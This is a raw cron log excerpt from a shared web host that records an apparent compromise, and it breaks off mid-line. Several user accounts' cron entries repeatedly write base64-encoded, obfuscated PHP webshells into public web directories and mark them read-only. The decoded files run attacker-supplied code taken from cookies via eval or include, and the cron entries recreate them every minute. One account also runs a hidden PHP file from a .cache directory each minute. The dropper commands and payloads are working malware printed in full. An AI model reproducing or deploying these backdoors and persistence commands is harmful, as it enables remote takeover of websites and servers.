Jun  7 13:56:01 medusa CROND[16175]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:56:01 medusa CROND[16176]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:56:01 medusa CROND[16178]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:56:01 medusa CROND[16179]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:56:01 medusa CROND[16180]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:56:01 medusa CROND[16182]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:57:01 medusa CROND[18028]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:57:01 medusa CROND[18029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:57:01 medusa CROND[18030]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:57:01 medusa CROND[18031]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:57:01 medusa CROND[18032]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 13:57:01 medusa CROND[18033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:57:01 medusa CROND[18034]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:57:01 medusa CROND[18037]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:57:01 medusa CROND[18038]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:57:01 medusa CROND[18047]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:57:01 medusa CROND[18049]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:57:01 medusa CROND[18050]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:58:01 medusa CROND[19676]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 13:58:01 medusa CROND[19677]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:58:01 medusa CROND[19678]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 13:58:01 medusa CROND[19679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:58:01 medusa CROND[19680]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:58:01 medusa CROND[19681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:58:01 medusa CROND[19682]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9ID